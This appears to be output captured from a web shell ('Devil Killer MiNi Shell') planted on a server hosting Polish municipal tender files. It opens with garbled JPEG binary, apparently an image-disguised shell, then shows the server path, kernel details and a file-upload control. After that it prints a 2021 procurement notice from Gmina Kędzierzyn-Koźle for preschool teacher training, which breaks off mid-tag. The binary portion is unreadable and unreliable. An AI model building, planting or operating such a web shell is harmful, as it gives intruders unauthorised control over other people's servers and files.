JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20210706/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20210706/0010562801-N-2021.html

<header hidden><table style="border-bottom: 1px solid black; width:100%"><tr><td>Ogłoszenie nr 2021/BZP 00105628 z dnia 2021-07-06</td></tr></table></header><main><!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Doskonalenie umiejętności, kompetencji lub kwalifikacji nauczycieli ośrodków wychowania przed-szkolnego do pracy z dziećmi w wieku przedszkolnym – II POSTĘPOWANIE </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Gmina Kędzierzyn-Koźle - Urząd Miasta</span></h3> <h3 class="mb-0">1.3.) Oddział zamawiającego: <span class="normal">Wydział Zamówień Publicznych</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 531412912</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Piramowicza 32</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Kędzierzyn-Koźle</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">47-220</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">opolskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL524 - Opolski</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zp@kedzierzynkozle.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">https://bip.kedzierzynkozle.pl/</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - jednostka samorządu terytorialnego</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Ogólne usługi publiczne</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Doskonalenie umiejętności, kompetencji lub kwalifikacji nauczycieli ośrodków wychowania przed-szkolnego do pracy z dziećmi w wieku przedszkolnym – II POSTĘPOWANIE </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-da1caf83-dd7f-11eb-b885-f28f91688073</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00105628</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-07-06</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2021/BZP 00001345/07/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.26 szkolenia nauczycieli przedszkoli</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.13.) O zamówienie mogą ubiegać się wyłącznie wykonawcy, którzy spełniają warunki określone w art. 361 ustawy – usługi społeczne: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowany ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://e-propublico.pl/Zamawiajacy/AktualneOgloszenia?zamawiajacyId=f15dda4c-01df-4c59-b90f-a767d9826443 <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://e-propublico.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">1. W niniejszym postępowaniu komunikacja Zamawiającego z Wykonawcami odbywa się przy Użyciu środków komunikacji elektronicznej, za pośrednictwem Platformy on-line działającej pod adresemhttps://e-propublico.pl.2. W uzasadnionych przypadkach np. awarii platformy dopuszczalna jest komunikacja za pośrednictwem poczty elektronicznej na adresy wskazane w SWZ, z<br/>zastrzeżeniem, że ofertę składa się tylko za pośrednictwem platformy e-ProPublico.3. Wykonawca przystępując do postępowania o udzielenie zamówienia publicznego, akceptuje warunki korzystania z<br/>Platformy określone w Regulaminie zamieszczonym na stronie internetowej https://e-ProPublico.pl/ oraz uzna jego za wiążący.4. Ofertę, wraz ze stanowiącymi jej integralną część załącznikami, składa się pod rygorem nieważności w formie elektronicznej (podpisaną kwalifikowanym podpisem elektronicznym)lub w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisem osobistym<br/>za pośrednictwem Platformy, 5. Szczegółowe informacje o sposobie porozumiewania się i wymagania formalne dotyczące składanych dokumentów zostały opisano w rozdziale 13 SWZ.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">1 Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1), dalej „RODO”, informuję, że:<br/>1) administratorem Pani/Pana danych osobowych jest Urząd Miasta Kędzierzyn-Koźle, z siedzibą przy ul. Grzegorza Piramowicza 32, 47-200 Kędzierzyn-Koźle, adres e-mail: prezydent@kedzierzynkozle.pl, tel. 77/40-50-338.;<br/>2) sposób kontaktu z inspektorem ochrony danych osobowych w Urzędzie Miasta Kędzierzyn-Koźle: 47-200 Kędzierzyn-Koźle, ul. Grzegorza Piramowicza 32, adres e-mail: inspektor@kedzierzynkozle.pl, tel. 77/40-50-346;<br/>3) Pani/Pana dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z postępowaniem o udzielenie zamówienia publicznego;<br/>4) odbiorcami Pani/Pana danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępowania w oparciu o art. 8 oraz art. 96 ust. 3 ustawy Pzp, a także Spółka Datacomp Sp. z o.o. z siedzibą w Krakowie (adres: ul. Gen. Henryka Dąbrowskiego 24, 30-532 Kraków), nr Rejestru KRS 0000193067, jako właściciel Platformy on-line działającej pod adresem https://e-ProPublico.pl/, na której Zamawiający prowadzi postępowania o udzielenie zamówienia publicznego;<br/>5) Pani/Pana dane osobowe będą przetwarzane przez okres prowadzenia postępowania o udzielenie zamówienia publicznego, zawarcia i realizacji umowy oraz po jej zakończeniu zgodnie z przepisami dotyczącymi archiwizacji zamówień dofinansowanych ze środków EFRR, EFS, FS;<br/>6) obowiązek podania przez Panią/Pana danych osobowych bezpośrednio Pani/Pana dotyczących jest wymogiem ustawowym określonym w przepisach ustawy Pzp, związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego; konsekwencje niepodania określonych danych wynikają z ustawy Pzp;<br/>7) w odniesieniu do Pani/Pana danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany, stosowanie do art. 22 RODO;</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Posiada Pani/Pan:<br/>-na podstawie art. 15 RODO prawo dostępu do danych osobowych Pani/Pana dotyczących;<br/>-w przypadku, gdy wykonanie obowiązków, o których mowa w art. 15 ust. 1-3 RODO wymagałoby niewspółmiernie dużego wysiłku, Zamawiający może żądać od osoby, której dane dotyczą, wskazania dodatkowych informacji mających na celu sprecyzowanie żądania, w szczególności podania nazwy lub daty postępowania o udzielenie zamówienia publicznego;<br/>- na podstawie art. 16 RODO prawo do sprostowania Pani/Pana danych osobowych (przy czym korzystanie z prawa do sprostowania nie może skutkować zmianą wyniku postępowania o udzielenie zamówienia publicznego ani zmianą postanowień umowy w zakresie niezgodnym z ustawą Pzp oraz nie może naruszać integralności protokołu oraz jego załączników);<br/>- na podstawie art. 18 RODO prawo żądania od administratora ograniczenia przetwarzania danych osobowych z zastrzeżeniem przypadków, o których mowa w art. 18 ust. 2 RODO (przy czym prawo do ograniczenia przetwarzania nie ma zastosowania w odniesieniu do przechowywania, w celu zapewnienia korzystania ze środków ochrony prawnej lub w celu ochrony praw innej osoby fizycznej lub prawnej, lub z uwagi na ważne względy interesu publicznego Unii Europejskiej lub państwa członkowskiego);<br/>- wystąpienie z żądaniem, o którym mowa w art. 18 ust. 1 RODO , nie ogranicza przetwarzania danych osobowych do czasu zakończenia postępowania o udzielenie zamówienia publicznego;<br/>- prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, jeśli uzna Pani/Pan, że przetwarzanie danych osobowych Pani/Pana dotyczących narusza przepisy RODO;<br/>2. nie przysługuje Pani/Panu:<br/>- w związku z art. 17 ust. 3 lit. b, d lub e RODO prawo do usunięcia danych osobowych;<br/>- prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/>- na podstawie art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych osobowych, gdyż podstawą prawną przetwarzania Pani/Pana danych osobowych jest art. 6 ust. 1 lit. c RODO.<br/>3. Jednocześnie Zamawiający przypomina o ciążącym na Wykonawcy obowiązku informacyjnym wynikającym z art. 14 RODO względem osób fizycznych, których dane przekazane zostaną Zamawiającemu w związku z prowadzonym postępowaniem i które Zamawiający pośrednio pozyska od Wykonawcy biorącego udział w postępowaniu, chyba że ma zastosowanie co najmniej jedno z wyłączeń, o których mowa w art. 14 ust. 5 RODO.<br/>4. Skorzystanie przez osobę, której dane osobowe dotyczą, z uprawnienia do sprostowania lub uzupełnienia, o którym mowa w art. 16 RODO, nie może skutkować zmianą wyniku postępowania o udzielenie zamówienia ani zmianą postanowień umowy w sprawie zamówienia publicznego w zakresie niezgodnym z ustawą Pzp.<br/>5. W postępowaniu o udzielenie zamówienia zgłoszenie żądania ograniczenia przetwarzania, o którym mowa w art. 18 ust. 1 RODO, nie ogranicza przetwarzania danych osobowych do czasu zakończenia tego postępowania.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ZP.271.1.53.2021.KM</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">11</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 1<br/>„Kursy i szkolenia z pedagogiki specjalnej – LOGOPEDYCZNE”.<br/>Szkolenia w ramach tej części: <br/>1.	Wady wymowy, szkolenie stacjonarne,<br/>2.	Elektrostymulacja traktu ustno-twarzowego- szkolenie certyfikowane nadające uprawnienia, szkolenie stacjonarne.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem placówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 2<br/>„Kursy i szkolenia z pedagogiki specjalnej – TERAPEUTYCZNE (Ręka)”<br/>Szkolenia w ramach tej części: <br/>1.	Grafomotoryka, szkolenie stacjonarne;<br/>2.	Terapia ręki - stopień I oraz II - szkolenie certyfikowane nadające uprawnienia, szkolenie w formie łączonej (teoria on-line, część warsztatowa -stacjonarnie);<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem pla-cówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 